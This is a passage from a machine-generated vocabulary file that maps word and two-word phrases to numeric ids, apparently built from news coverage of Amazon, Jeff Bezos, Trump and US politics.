"winning blocked": 94939, "dems don": 94940, "happening later": 94941, "billion cities": 94942, "successful organization": 94943, "behave": 94944, "3d": 94945, "usds product": 94946, "long path": 94947, "react angelo": 94948, "lockhart 98point6": 94949, "real results": 94950, "swalwell calif": 94951, "easy targets": 94952, "couldn sue": 94953, "doj makan": 94954, "intelligence investigationbecause": 94955, "valley companies": 94956, "itep policy": 94957, "seeing hardware": 94958, "crassly denigrating": 94959, "captures indian": 94960, "pointone filter": 94961, "story carries": 94962, "took bold": 94963, "harassment employers": 94964, "did victory": 94965, "adjei brenyah": 94966, "purchased brand": 94967, "economic influence": 94968, "won quiet": 94969, "chips 51554473329": 94970, "zama lucrecia": 94971, "review": 94972, "mw update": 94973, "adl tabatabai": 94974, "analysts probably": 94975, "amazon revealed": 94976, "tl kept": 94977, "life pecker": 94978, "hasn lasted": 94979, "art world": 94980, "liberal democracy": 94981, "workers cnbc": 94982, "consumers cicilline": 94983, "bizarre vragen": 94984, "signing contract": 94985, "486": 94986, "stories gunman": 94987, "year finances": 94988, "super expensive": 94989, "stance aligns": 94990, "trump sold": 94991, "services law": 94992, "400 richest": 94993, "puts wealth": 94994, "washington political": 94995, "incomplete information": 94996, "terrible bezos": 94997, "live carell": 94998, "truth hidden": 94999, "money deduction": 95000, "perino": 95001, "river fact": 95002, "fuzzy terms": 95003, "arousal": 95004, "supply management": 95005, "oil tycoon": 95006, "commerce business": 95007, "disagreement": 95008, "amazon similar": 95009, "sharpest legal": 95010, "northeast ohio": 95011, "willhave": 95012, "darn application": 95013, "reports smaller": 95014, "alleghany": 95015, "bendib otherwords": 95016, "largest provider": 95017, "bamboo": 95018, "board especially": 95019, "nation premier": 95020, "combs": 95021, "jeremy olshan": 95022, "chief performance": 95023, "musicians authors": 95024, "mental avoidance": 95025, "persecute homosexual": 95026, "n\u00e9e": 95027, "gaining office": 95028, "2018 think": 95029, "exam": 95030, "hayes amazon": 95031, "homelessness seattle": 95032, "fbi raging": 95033, "board member": 95034, "stickers mobile": 95035, "juncker secret": 95036, "starlet": 95037, "public concerns": 95038, "nv holds": 95039, "published contact": 95040, "samir husni": 95041, "weak retail": 95042, "dominance fine": 95043, "company run": 95044, "attitude": 95045, "guard inside": 95046, "officials effective": 95047, "dissolving": 95048, "asthma": 95049, "immersive experiences": 95050, "kiss bezos": 95051, "combined institution": 95052, "astounding": 95053, "rebate making": 95054, "chicken producers": 95055, "net dynamic": 95056, "sees dollar": 95057, "dpbs": 95058, "cell phones": 95059, "checker trump": 95060, "romantic comedy": 95061, "mi": 95062, "haven turned": 95063, "chemical dependence": 95064, "occasions": 95065, "little money": 95066, "brainwashed peers": 95067, "police commerce": 95068, "simplifying": 95069, "economic collapse": 95070, "howard mailed": 95071, "oceania": 95072, "sound mussels": 95073, "profit model": 95074, "2018 primary": 95075, "rate": 95076, "average convergence": 95077, "week wall": 95078, "overturned": 95079, "genuity strategist": 95080, "interoperable": 95081, "communities need": 95082, "amazon treatment": 95083, "different benefits": 95084, "help going": 95085, "similar research": 95086, "assistant secretary": 95087, "big facebook": 95088, "southern baptist": 95089, "pompeo china": 95090, "taxes trump": 95091, "day gain": 95092, "actual car": 95093, "left housing": 95094, "bold plans": 95095, "happening think": 95096, "prescriptions": 95097, "researchers including": 95098, "seattle foundation": 95099, "general response": 95100, "david dayen": 95101, "highly complex": 95102, "genius": 95103, "host 2026": 95104, "tsunami minutes": 95105, "wegmans": 95106, "strict targets": 95107, "leak investigation": 95108, "connecticut pleading": 95109, "1150x540 getty_173218731_200015422000928060_388160": 95110, "indian authorities": 95111, "goodfellas espinal": 95112, "earnings report": 95113, "channels television": 95114, "2019 seth": 95115, "prongay": 95116, "fund guys": 95117, "topped wall": 95118, "sector nyc": 95119, "black farm": 95120, "easy questions": 95121, "admitted real": 95122, "ebitda": 95123, "corporate communications": 95124, "jonerpnewsfeed": 95125, "burning policy": 95126, "yesjkxa6bi sharpdog": 95127, "interests require": 95128, "benefits 2018": 95129, "dastin editing": 95130, "enforcement officer": 95131, "mistresses stormy": 95132, "dubs heitkamp": 95133, "announcing recall": 95134, "innovation coming": 95135, "specific retailer": 95136, "save": 95137, "brooklyn creating": 95138, "feature suspected": 95139, "harmful": 95140, "billion charles": 95141, "honest upright": 95142, "pursued business": 95143, "million low": 95144, "great awakening": 95145, "uu9ssaa17kk3 a4ee": 95146, "told viewers": 95147, "fourth straight": 95148, "2018 movies": 95149, "draft recommendations": 95150, "includes": 95151, "orders fresh": 95152, "lone appearance": 95153, "continuing multi": 95154, "ami ceo": 95155, "boos": 95156, "utm_source arcnewsletter": 95157, "hostile conquest": 95158, "itunes": 95159, "project nipnlg": 95160, "americans looking": 95161, "amazing cuomo": 95162, "home favorite": 95163, "forcing corporations": 95164, "greatest thing": 95165, "misztal": 95166, "selling propaganda": 95167, "currently serves": 95168, "jw marriott": 95169, "digital india": 95170, "better information": 95171, "sympathy": 95172, "big mergers": 95173, "palantir contract": 95174, "enforce stormy": 95175, "finally bows": 95176, "workers workers": 95177, "maricopa": 95178, "shares wallington": 95179, "provide contractually": 95180, "motorola solutions": 95181, "offspring takes": 95182, "providing technology": 95183, "company merck": 95184, "heaped": 95185, "heavily medicated": 95186, "reported just": 95187, "executive reports": 95188, "performing hardworking": 95189, "putting extra": 95190, "genuine read": 95191, "skyrocketing taxes": 95192, "boycott amazon": 95193, "brennen": 95194, "owlprevitem cnn": 95195, "836 shares": 95196, "slamming": 95197, "publication accused": 95198, "francis abortion": 95199, "000 results": 95200, "sued tesla": 95201, "new scrutiny": 95202, "compatible amplifier": 95203, "risks rift": 95204, "making statements": 95205, "time plus": 95206, "meanings": 95207, "words national": 95208, "accusing american": 95209, "arberg": 95210, "western queens": 95211, "dixie taggart": 95212, "house investigation": 95213, "image": 95214, "careers critics": 95215, "pretty intense": 95216, "463 2017": 95217, "gilroy": 95218, "spend way": 95219, "spoofs gop": 95220, "tournament american": 95221, "reordering bigger": 95222, "retailer board": 95223, "potentially saddle": 95224, "urquhart": 95225, "dwallbank": 95226, "smartest things": 95227, "legislative arrangements": 95228, "results earnings": 95229, "amazon vans": 95230, "enormous package": 95231, "korea kopsi": 95232, "week": 95233, "enforcing punishment": 95234, "wipes": 95235, "team suspect": 95236, "recreation": 95237, "adebola": 95238, "softened": 95239, "cmc markets": 95240, "matt goulding": 95241, "amazon increase": 95242, "different company": 95243, "marketplace mechanical": 95244, "content creator": 95245, "chief roy": 95246, "competitor walmart": 95247, "generate moralizing": 95248, "pd makes": 95249, "accolade geekwire": 95250, "measure lawmakers": 95251, "new iphones": 95252, "products toiletries": 95253, "brand inception": 95254, "fanfare dropped": 95255, "entry crackdown": 95256, "trumped": 95257, "investigating google": 95258, "sen scott": 95259, "american manufacturers": 95260, "protect young": 95261, "kshama": 95262, "graduate school": 95263, "earnings benefit": 95264, "impeccable": 95265, "multiple occasions": 95266, "galit": 95267, "regulations tax": 95268, "gentrified washington": 95269, "seventh session": 95270, "sector gaining": 95271, "fan quite": 95272, "activists blocked": 95273, "827 million": 95274, "construction inflation": 95275, "district investigation": 95276, "purk": 95277, "gasol walked": 95278, "demanding working": 95279, "whack given": 95280, "aid organizations": 95281, "negotiate discounts": 95282, "actor john": 95283, "needing": 95284, "days travel": 95285, "waswell worth": 95286, "annual aws": 95287, "roiling": 95288, "network reboot": 95289, "house hillicon": 95290, "teal gunter": 95291, "accused fox": 95292, "white area": 95293, "hospital posted": 95294, "ground shipping": 95295, "hitler rise": 95296, "gaines smart": 95297, "profound malaise": 95298, "reconcile differences": 95299, "onstage": 95300, "disease infected": 95301, "continue leading": 95302, "confidential sales": 95303, "civilian": 95304, "justice doj": 95305, "actually occurred": 95306, "revenue number": 95307, "munster munster": 95308, "wrote farrow": 95309, "shaping president": 95310, "genesis frame": 95311, "digital privacy": 95312, "amazon mountains": 95313, "peopleworking": 95314, "latest comments": 95315, "trillion bucks": 95316, "doctors leading": 95317, "biggest sticking": 95318, "sent shock": 95319, "vicious": 95320, "revolutionizing": 95321, "trump ferrari": 95322, "inward": 95323, "costly proposition": 95324, "walls": 95325, "food online": 95326, "honda chrysler": 95327, "seldom responds": 95328, "studios roy": 95329, "comedic": 95330, "allegedly removing": 95331, "owens marketwatch": 95332, "thingy": 95333, "systems supply": 95334, "foto trump": 95335, "lb mb": 95336, "unfamiliar": 95337, "personal security": 95338, "consumer jon": 95339, "observing": 95340, "concentrated": 95341, "buffett revealed": 95342, "subwoofer": 95343, "shopping holiday": 95344, "wished bezos": 95345, "industries running": 95346, "weakened": 95347, "lose sense": 95348, "sleep parents": 95349, "international monetary": 95350, "bezos jon": 95351, "cone": 95352, "freight": 95353, "fast lately": 95354, "bolsonaro son": 95355, "toe": 95356, "boyne protagonist": 95357, "perceived tax": 95358, "1062486469602766848": 95359, "biggest rival": 95360, "zinke reassigned": 95361, "economic cooperation": 95362, "da attorney": 95363, "2016 bezos": 95364, "season summing": 95365, "amazon owned": 95366, "head tilted": 95367, "criteria ricardo": 95368, "parenthetical": 95369, "harassment unless": 95370, "2020 target": 95371, "longstanding policy": 95372, "competitor claiming": 95373, "washington congress": 95374, "institute think": 95375, "gm andrews": 95376, "service executive": 95377, "jim vandehei": 95378, "political scene": 95379, "kvaal addressed": 95380, "gop led": 95381, "excess capacity": 95382, "bes": 95383, "iconic comic": 95384, "launching handful": 95385, "work process": 95386, "threadbare fabric": 95387, "enabling": 95388, "company president": 95389, "jim condos": 95390, "theatre": 95391, "funding data": 95392, "lips amazon": 95393, "usher pay": 95394, "deal faces": 95395, "cases involving": 95396, "amazon directly": 95397, "preexisting": 95398, "monologuejoin": 95399, "test drone": 95400, "claiming partnership": 95401, "clip wasnt": 95402, "cnn trending": 95403, "pollutants": 95404, "meaner": 95405, "2016 fiscal": 95406, "resounding": 95407, "operator data": 95408, "sociopath": 95409, "netflixs": 95410, "wrongly think": 95411, "redeemed social": 95412, "chinese presidents": 95413, "barmy": 95414, "resent bezos": 95415, "amazon months": 95416, "person going": 95417, "toto": 95418, "list currently": 95419, "smoking pot": 95420, "impossible ebay": 95421, "tiresome": 95422, "general partner": 95423, "regard": 95424, "shocking american": 95425, "yr pecker": 95426, "boyfriend lives": 95427, "timothy weaver": 95428, "danica patrick": 95429, "allegedly benefiting": 95430, "americas pressing": 95431, "bezos continued": 95432, "francisco washington": 95433, "sharing platforms": 95434, "unlock exciting": 95435, "gmbunionamazon": 95436, "educational improvements": 95437, "liberal superstars": 95438, "general editor": 95439, "cnn reports": 95440, "waxed poetic": 95441, "450 parcel": 95442, "benefit rate": 95443, "la huelgaamazon": 95444, "ai powered": 95445, "dumped usps": 95446, "administration sued": 95447, "single image": 95448, "misuses": 95449, "danaher": 95450, "meg whitman": 95451, "pages fred": 95452, "trigger antitrust": 95453, "2016 white": 95454, "black guy": 95455, "kessler source": 95456, "annual state": 95457, "leave nice": 95458, "wasn tconsulted": 95459, "ljh investment": 95460, "faang facebook": 95461, "steer": 95462, "president infamous": 95463, "pills allergy": 95464, "recently formed": 95465, "billion 152": 95466, "prices regional": 95467, "blaming political": 95468, "health fitness": 95469, "rob bank": 95470, "deliveries reports": 95471, "fighter": 95472, "voters leaving": 95473, "power play": 95474, "hosted ap": 95475, "best segue": 95476, "fumes according": 95477, "food processing": 95478, "multiple deflationary": 95479, "delivery capability": 95480, "rare deal": 95481, "crore infusion": 95482, "base realignment": 95483, "demonstrated strong": 95484, "finance buffett": 95485, "air pollution": 95486, "global advisers": 95487, "legal fights": 95488, "right office": 95489, "contested city": 95490, "hysteria information": 95491, "oil shocks": 95492, "splc took": 95493, "insertbefore a4ee": 95494, "wedbush securities": 95495, "extended comment": 95496, "twitter business": 95497, "kingdom royal": 95498, "southern illinoisan": 95499, "notorious white": 95500, "early offerings": 95501, "businesses fought": 95502, "york shoving": 95503, "management limited": 95504, "delegation reflects": 95505, "miccosukee road": 95506, "related falsehoods": 95507, "relative silence": 95508, "brk brk": 95509, "cazzioii cazzioii": 95510, "molding": 95511, "woodward book": 95512, "kathleen purvis": 95513, "added homeowner": 95514, "unpack": 95515, "taskrabbit stripe": 95516, "anti immigrant": 95517, "2019 amid": 95518, "enforcement policy": 95519, "smartphone industry": 95520, "cable clutter": 95521, "independent bureau": 95522, "shin": 95523, "exact locations": 95524, "lawyer representing": 95525, "today nasdaq": 95526, "seasonal package": 95527, "agent told": 95528, "wages released": 95529, "impact report": 95530, "letter states": 95531, "spurred acts": 95532, "false clouding": 95533, "global monopoly": 95534, "receiving billion": 95535, "tiny landlocked": 95536, "life stream": 95537, "democrats socioeconomic": 95538, "logistics services": 95539, "blackmail political": 95540, "augustine chief": 95541, "worries intensified": 95542, "accelerate development": 95543, "mccabe amazon": 95544, "bought time": 95545, "involves ami": 95546, "bigger spotlight": 95547, "compromise immigration": 95548, "traitor": 95549, "paying employer": 95550, "273": 95551, "entry point": 95552, "called boost": 95553, "38bn earnings": 95554, "education association": 95555, "technology sector": 95556, "apple card": 95557, "testimony expert": 95558, "current_video_collection videocardcontents": 95559, "party frauds": 95560, "prevent taxpayer": 95561, "media posted": 95562, "entering bigger": 95563, "baron emailed": 95564, "rates negotiated": 95565, "demands border": 95566, "prevent gold": 95567, "658": 95568, "begin banning": 95569, "vital software": 95570, "unfathomably": 95571, "e0 j8i": 95572, "trump avowed": 95573, "locale lisa": 95574, "directing financial": 95575, "priest": 95576, "r4ee c9x": 95577, "external ssd": 95578, "capsizes": 95579, "imdb sort": 95580, "medium post": 95581, "perfumania foto": 95582, "confiscated": 95583, "luxury cars": 95584, "administration keeps": 95585, "free apps": 95586, "content columnist": 95587, "audited": 95588, "illinois lieutenant": 95589, "mulls senate": 95590, "amazon hosts": 95591, "tcja largesse": 95592, "balsam": 95593, "american television": 95594, "dallas cowboys": 95595, "trump escalates": 95596, "naked selfies": 95597, "economists dont": 95598, "story story": 95599, "aluminum industries": 95600, "healthy state": 95601, "financial penalties": 95602, "remove playerinstance": 95603, "logistics 2018": 95604, "booking vacation": 95605, "process remain": 95606, "believe jay": 95607, "glowing coverage": 95608, "formal investigation": 95609, "including race": 95610, "getcurrentvideocardcontents currentvideoid": 95611, "frantic calls": 95612, "philip rucker": 95613, "office reached": 95614, "make stocks": 95615, "schapiro": 95616, "reviews news": 95617, "ardent trump": 95618, "amazon dress": 95619, "hushing": 95620, "bias concerning": 95621, "diesel business": 95622, "showing clinton": 95623, "guthrie watch": 95624, "strident criticism": 95625, "missile defense": 95626, "months ended": 95627, "holds 596": 95628, "compromising personal": 95629, "ages transitions": 95630, "want strong": 95631, "home pixel": 95632, "committee aide": 95633, "merchants": 95634, "community organizations": 95635, "chris daniels": 95636, "items online": 95637, "craft higher": 95638, "high congress": 95639, "amazon offers": 95640, "trump strategic": 95641, "bovine": 95642, "american soybean": 95643, "internet days": 95644, "nation secretary": 95645, "tosee": 95646, "products online": 95647, "extremist products": 95648, "unlabeled gmos": 95649, "larger companies": 95650, "kavanaugh pledged": 95651, "subtle jab": 95652, "logistics consultancy": 95653, "horseshit": 95654, "destroying jobs": 95655, "credulous": 95656, "trump fashion": 95657, "ooey gooey": 95658, "incendida publicaci\u00f3n_incorporada_incorporada_filaje_de_files": 95659, "coresight research": 95660, "leaves": 95661, "accuses": 95662, "lot faster": 95663, "week documents": 95664, "drive loveland": 95665, "administration holdovers": 95666, "ecommerce strategy": 95667, "selected pizza": 95668, "star omarosa": 95669, "amazon vpc": 95670, "el sayed": 95671, "school teacher": 95672, "wild orange": 95673, "unexpected shareholder": 95674, "today cover": 95675, "panel representatives": 95676, "elizabeth mckenzie": 95677, "great healthcare": 95678, "campaign confiscated": 95679, "rettig": 95680, "groceries electronics": 95681, "percentile": 95682, "giants including": 95683, "old raincoat": 95684, "shootings today": 95685, "unlike politicians": 95686, "1980 surviving": 95687, "green considering": 95688, "raising prices": 95689, "markets competition": 95690, "continue clark": 95691, "watch aoc": 95692, "experts buy": 95693, "moment based": 95694, "economy sure": 95695, "medium detailing": 95696, "home fashion": 95697, "commenter challenged": 95698, "previously questioned": 95699, "mueller tweetstorm": 95700, "man catherine": 95701, "beast national": 95702, "afraid": 95703, "dark path": 95704, "device prompted": 95705, "charity arm": 95706, "sherwin williams": 95707, "2018 usa": 95708, "pump billion": 95709, "closer": 95710, "postrecession lows": 95711, "capital later": 95712, "special event": 95713, "emeritus temple": 95714, "prosecutors violation": 95715, "resellers": 95716, "learning management": 95717, "bids open": 95718, "big wage": 95719, "government infrastructure": 95720, "telecommunications equipment": 95721, "son eduardo": 95722, "nationwide sensation": 95723, "envelopes": 95724, "welcome david": 95725, "considering derek": 95726, "package foxconn": 95727, "ibama total": 95728, "practical matter": 95729, "authorizer": 95730, "sandbulte": 95731, "pinturault": 95732, "mandel sethamandel": 95733, "reportedly pressed": 95734, "told axios": 95735, "teaching certificates": 95736, "complex arcane": 95737, "speculate bolsonaro": 95738, "louise duart": 95739, "bolsonaro help": 95740, "61st": 95741, "proof majority": 95742, "investigative project": 95743, "viet nam": 95744, "blond": 95745, "gm chairman": 95746, "primary oppo": 95747, "peasants introduced": 95748, "public liaison": 95749, "fail potentially": 95750, "2003 announced": 95751, "typically handled": 95752, "protect choice": 95753, "righting": 95754, "making": 95755, "trickier": 95756, "ebay shopper": 95757, "tomlin": 95758, "worst quarter": 95759, "opinion amazon": 95760, "bred": 95761, "foolhardy": 95762, "judicial seats": 95763, "ohanian": 95764, "beeb": 95765, "andrei stanescu": 95766, "thepresident": 95767, "kept offshore": 95768, "airports unidentified": 95769, "bobbed": 95770, "vlasic": 95771, "toned": 95772, "term lawmaker": 95773, "holcomb": 95774, "hq2 frontrunner": 95775, "murdoch fox": 95776, "huge spike": 95777, "mevissen": 95778, "golfer": 95779, "moeller": 95780, "volatility": 95781, "public svc": 95782, "president referred": 95783, "doomed boeing": 95784, "press outlet": 95785, "involving acquisitions": 95786, "negative media": 95787, "agriculture run": 95788, "desensitized today": 95789, "ap soldier": 95790, "doom progressives": 95791, "fmr pres": 95792, "merger": 95793, "state banks": 95794, "allusion": 95795, "sen cory": 95796, "entrepreneurs lot": 95797, "flyer welcom": 95798, "services used": 95799, "light amazon": 95800, "message thanking": 95801, "hotel deal": 95802, "codex": 95803, "didi chuxing": 95804, "great cheese": 95805, "classified nature": 95806, "calculator": 95807, "administration advised": 95808, "accessions": 95809, "nbc cbs": 95810, "photoshop elements": 95811, "corporate results": 95812, "bipartisan runway": 95813, "bezos team": 95814, "2018 cambridge": 95815, "controversial topics": 95816, "blog president": 95817, "amazon returned": 95818, "costliest known": 95819, "despite spicer": 95820, "haven shepherd": 95821, "tmdsthqpuf": 95822, "tibbetts": 95823, "trump receives": 95824, "light told": 95825, "lucrative investments": 95826, "gold digger": 95827, "headlinetext lamborghini": 95828, "1610et": 95829, "relatively little": 95830, "loudmouthed monkey": 95831, "schooner professor": 95832, "boko haram": 95833, "lees ook": 95834, "bob riley": 95835, "include improvement": 95836, "coroners": 95837, "prussia penn": 95838, "visa workers": 95839, "2019 seekingalpha": 95840, "deliveries": 95841, "13022228": 95842, "bezos ring": 95843, "ami expos": 95844, "guardian indicate": 95845, "research initiative": 95846, "america teens": 95847, "isn easy": 95848, "disclosure claimed": 95849, "730 words": 95850, "chris sagers": 95851, "chairman powells": 95852, "investigation hitherto": 95853, "direct actions": 95854, "magazine lauding": 95855, "elm tree": 95856, "did deap": 95857, "states ended": 95858, "computers customer": 95859, "amicable": 95860, "gaap tax": 95861, "specifically promotes": 95862, "svitlana": 95863, "illicit importation": 95864, "function cnn": 95865, "trafficking networks": 95866, "pembroke pines": 95867, "oregano eucalyptus": 95868, "accusations career": 95869, "revived adequate": 95870, "gathering data": 95871, "inherent global": 95872, "firm gbh": 95873, "reviewers giving": 95874, "amazon 103": 95875, "story alleging": 95876, "price hiking": 95877, "tapped": 95878, "undermining democracy": 95879, "department says": 95880, "pistol provides": 95881, "length trailer": 95882, "usps requested": 95883, "hearing siren": 95884, "1800s": 95885, "headlines amazon": 95886, "onesies providing": 95887, "wilkes barre": 95888, "imagines jeff": 95889, "amazon shaped": 95890, "car company": 95891, "highway billions": 95892, "theirs": 95893, "mcknight": 95894, "openly critical": 95895, "sara zaske": 95896, "frequent critic": 95897, "delivery truck": 95898, "innately progressive": 95899, "contra": 95900, "political resistance": 95901, "amazon founded": 95902, "welch grape": 95903, "fist": 95904, "penny pinching": 95905, "shown": 95906, "amazon reduces": 95907, "marco": 95908, "cate": 95909, "packages navarro": 95910, "mourn": 95911, "illegal avoidance": 95912, "media industry": 95913, "know saudi": 95914, "banking instead": 95915, "10000 just": 95916, "took stand": 95917, "club bezos": 95918, "make strides": 95919, "multiple explanations": 95920, "zip codes": 95921, "text size": 95922, "toronto based": 95923, "pillars": 95924, "wrong hands": 95925, "vail communications": 95926, "noosed costume": 95927, "forging": 95928, "american contenders": 95929, "working mother": 95930, "abergel": 95931, "bertoux aims": 95932, "city hyper": 95933, "york democrats": 95934, "queens deal": 95935, "donations people": 95936, "successor plan": 95937, "assets 181002173716": 95938, "unsuspecting facebook": 95939, "king lean": 95940, "university ave": 95941, "austin mayor": 95942, "stricter ethics": 95943, "service low": 95944, "glor trump": 95945, "local families": 95946, "gloomier": 95947, "geekwire request": 95948, "locations geekwire": 95949, "giveaways tax": 95950, "valuation bump": 95951, "community activist": 95952, "detailed alleged": 95953, "china swine": 95954, "sales gms": 95955, "jekyll": 95956, "systemically": 95957, "father died": 95958, "massive resources": 95959, "organic sales": 95960, "2019 stephanie": 95961, "office google": 95962, "time book": 95963, "recent facebook": 95964, "prosecutors charged": 95965, "procedural": 95966, "extensive report": 95967, "dust mark": 95968, "workers competitive": 95969, "agency 280": 95970, "offering products": 95971, "newbies": 95972, "corruption bezos": 95973, "alternative media": 95974, "morial maria": 95975, "damn dude": 95976, "screenwriter": 95977, "concept": 95978, "post contributor": 95979, "analysing competitors": 95980, "earnings beats": 95981, "firm illegal": 95982, "says cbre": 95983, "emergency governor": 95984, "criticized president": 95985, "wheelchair": 95986, "trump enduring": 95987, "cutting prices": 95988, "supply boy": 95989, "today gusty": 95990, "confirmation believe": 95991, "rubenstein hosted": 95992, "mike snider": 95993, "news blake": 95994, "key advisers": 95995, "slush funds": 95996, "straightforward tweet": 95997, "ship quickly": 95998, "supplier cloud": 95999, "2016 american": 96000, "sharp tones": 96001, "spare iphones": 96002, "dc thanks": 96003, "intense frustration": 96004, "attends manchester": 96005, "electronics home": 96006, "touching": 96007, "reporters appeared": 96008, "crisis communications": 96009, "gwl acquiring": 96010, "tight despite": 96011, "past day": 96012, "republican senate": 96013, "limitless": 96014, "youtube supporters": 96015, "finance institute": 96016, "crazytown woodward": 96017, "development arm": 96018, "really awful": 96019, "contradicts big": 96020, "god little": 96021, "2018 list": 96022, "g0 p7": 96023, "spanish government": 96024, "secular trends": 96025, "individual rate": 96026, "won seth": 96027, "incredibly binge": 96028, "fresh highs": 96029, "unsustainable business": 96030, "addalyn sooter": 96031, "cautionary chilling": 96032, "bank charters": 96033, "aws solution": 96034, "phosphonate": 96035, "equality laid": 96036, "dow snap": 96037, "retailer senior": 96038, "thwarting trump": 96039, "footage earlier": 96040, "government decisions": 96041, "melina thank": 96042, "dictionary definition": 96043, "civics": 96044, "national inquirer": 96045, "shingles": 96046, "1998 world": 96047, "insufficient": 96048, "basic services": 96049, "mccabe told": 96050, "forcing organizations": 96051, "economist speak": 96052, "news margaret": 96053, "financial metrics": 96054, "light meal": 96055, "driven insane": 96056, "wnyc askthemayor": 96057, "weeks achieving": 96058, "sources pyongyang": 96059, "tetraphase": 96060, "refreshingly realistic": 96061, "claims forensic": 96062, "make clear": 96063, "david hoffmann": 96064, "1410535536": 96065, "lease options": 96066, "echo trump": 96067, "policies trump": 96068, "enquirer site": 96069, "teamed": 96070, "candidate": 96071, "trademark infringement": 96072, "vegas trip": 96073, "chief bring": 96074, "lead russia": 96075, "chevron did": 96076, "paced growth": 96077, "billionaire billionaire": 96078, "model hasn": 96079, "break president": 96080, "received jurisdiction": 96081, "service highlighting": 96082, "unfairly favour": 96083, "homeowners home": 96084, "retail methods": 96085, "meant turning": 96086, "technology niles": 96087, "graegin": 96088, "cybersecurity risks": 96089, "prices fair": 96090, "ago wolf": 96091, "billion spent": 96092, "giant plans": 96093, "texas thomas": 96094, "military does": 96095, "640x290": 96096, "office bezos": 96097, "large groups": 96098, "kristalina georgieva": 96099, "1440et": 96100, "skeptical view": 96101, "dentists": 96102, "611": 96103, "transplant philadelphia": 96104, "digital media": 96105, "satirical humor": 96106, "rates read": 96107, "nonsupervisory workers": 96108, "sanchez alleged": 96109, "director stacy": 96110, "fatalities thank": 96111, "colours strong": 96112, "good customer": 96113, "patrol agent": 96114, "new juncture": 96115, "2018 called": 96116, "funding public": 96117, "eventssurrounding president": 96118, "size currently": 96119, "2013 cia": 96120, "knowledgeable": 96121, "going rogue": 96122, "business ace": 96123, "attacks image": 96124, "pedophiles mainly": 96125, "500 million": 96126, "lawmakers says": 96127, "means closing": 96128, "editor ted": 96129, "marketer": 96130, "sexual personage": 96131, "year maziarz": 96132, "did acquire": 96133, "timely fit": 96134, "trading plan": 96135, "scholarships": 96136, "mobile payment": 96137, "celebrated major": 96138, "tg": 96139, "inc_homepage_headline_ab_test": 96140, "photo john": 96141, "highly publicized": 96142, "gifting billions": 96143, "similarly enthused": 96144, "whopping 310": 96145, "hussle": 96146, "lawbreaker": 96147, "advanced technologies": 96148, "floundering": 96149, "buyer dwelling": 96150, "formula amazon": 96151, "maker deckers": 96152, "relatively open": 96153, "plentiful": 96154, "terre tax": 96155, "uncomfortable": 96156, "avoided using": 96157, "toiletry bag": 96158, "vegas shooting": 96159, "media empire": 96160, "essential deals": 96161, "profit margin": 96162, "promotional photo": 96163, "sedition": 96164, "shared cultures": 96165, "previous promise": 96166, "chinese company": 96167, "british spy": 96168, "tweet muckerman": 96169, "cbs trump": 96170, "2018 wcnc": 96171, "funded desperately": 96172, "billion lifeline": 96173, "background sourcing": 96174, "phosphate glutamate": 96175, "overcorporate": 96176, "send images": 96177, "enquirer click": 96178, "born left": 96179, "survivor story": 96180, "black dolezal": 96181, "seller business": 96182, "including picture": 96183, "york sets": 96184, "additional coordinated": 96185, "paid maternity": 96186, "government funds": 96187, "hardest thing": 96188, "unavailable": 96189, "nadella protesting": 96190, "1925": 96191, "suspicious letters": 96192, "writes jason": 96193, "right good": 96194, "advsr limited": 96195, "members face": 96196, "internal document": 96197, "code senator": 96198, "wheat": 96199, "paul ryanpaul": 96200, "previous congestion": 96201, "national hurricane": 96202, "beast michael": 96203, "citing newsweek": 96204, "criminal penalties": 96205, "market strategist": 96206, "municipal policymakers": 96207, "marketing snail": 96208, "steering": 96209, "early whispers": 96210, "moment calls": 96211, "recommendations contained": 96212, "market based": 96213, "decrying": 96214, "cortez financially": 96215, "resemble humans": 96216, "revenue 031": 96217, "speed good": 96218, "room meeting": 96219, "115 109": 96220, "officers memorial": 96221, "shipping prices": 96222, "develop flu": 96223, "molested": 96224, "larger framework": 96225, "stock took": 96226, "repel colonial": 96227, "price soaring": 96228, "fact pbs": 96229, "pristine": 96230, "evidence exists": 96231, "2930a brooks": 96232, "cisgender people": 96233, "including kamal": 96234, "gains today": 96235, "quality exclusive": 96236, "work week": 96237, "modern satanic": 96238, "extortionate prices": 96239, "allegedly underpaying": 96240, "instantly reply": 96241, "sanity saving": 96242, "expansion garofolo": 96243, "small online": 96244, "probe trump": 96245, "true anymore": 96246, "sales increased": 96247, "helpful share": 96248, "possible investigations": 96249, "states congressman": 96250, "anti bullying": 96251, "security advisor": 96252, "tamp": 96253, "antifraud": 96254, "reflects": 96255, "business revenues": 96256, "celebrity oriented": 96257, "vacation packages": 96258, "business republicans": 96259, "suffered unfair": 96260, "detention": 96261, "advises": 96262, "black churches": 96263, "ellis ros": 96264, "mean negotiation": 96265, "fake item": 96266, "enquirer ceo": 96267, "squeeze suppliers": 96268, "broke antitrust": 96269, "slice": 96270, "economy andy": 96271, "agencies 180": 96272, "hiring plans": 96273, "fifa": 96274, "lamb source": 96275, "investigation expands": 96276, "internet beijing": 96277, "784": 96278, "allowed online": 96279, "destination trump": 96280, "revenue basis": 96281, "maintained": 96282, "petrochemical company": 96283, "jenkins movie": 96284, "defines": 96285, "usps website": 96286, "social networksabout": 96287, "previously called": 96288, "principal 2019": 96289, "despite feinstein": 96290, "pivotal research": 96291, "ish available": 96292, "best positioned": 96293, "withers today": 96294, "better buy": 96295, "itlast": 96296, "yorkers brian": 96297, "teva pharmaceuticals": 96298, "parts flew": 96299, "brought trump": 96300, "flames junk": 96301, "workers especially": 96302, "statements denied": 96303, "evader": 96304, "checkmate mystock88photo": 96305, "academically": 96306, "unsteady": 96307, "making point": 96308, "averaged": 96309, "urban cores": 96310, "cut losses": 96311, "stalinist": 96312, "bezos drive": 96313, "observatory network": 96314, "detainees": 96315, "big push": 96316, "daniel hansen": 96317, "cop shooting": 96318, "spurred sales": 96319, "know 2017": 96320, "inc_column_name_override null": 96321, "gaiman novel": 96322, "tanza loudenback": 96323, "mocking iowa": 96324, "eileen myles": 96325, "slowing sales": 96326, "southern israel": 96327, "officially coming": 96328, "bezos day": 96329, "year project": 96330, "including turtle": 96331, "peddling booze": 96332, "soaring existing": 96333, "sounds just": 96334, "selby": 96335, "jorg": 96336, "l0 r4ee": 96337, "sandal maker": 96338, "blistering": 96339, "fiduciary trust": 96340, "brands introduced": 96341, "fare": 96342, "big backstop": 96343, "acclaim": 96344, "midwest julia": 96345, "say toronto": 96346, "turning tidy": 96347, "woman allegedly": 96348, "years package": 96349, "bancorporation": 96350, "rapid ramp": 96351, "election sessions": 96352, "duke american": 96353, "defamation": 96354, "allows merchants": 96355, "share numerous": 96356, "twitter moser": 96357, "significantly university": 96358, "testaments missouri": 96359, "proud 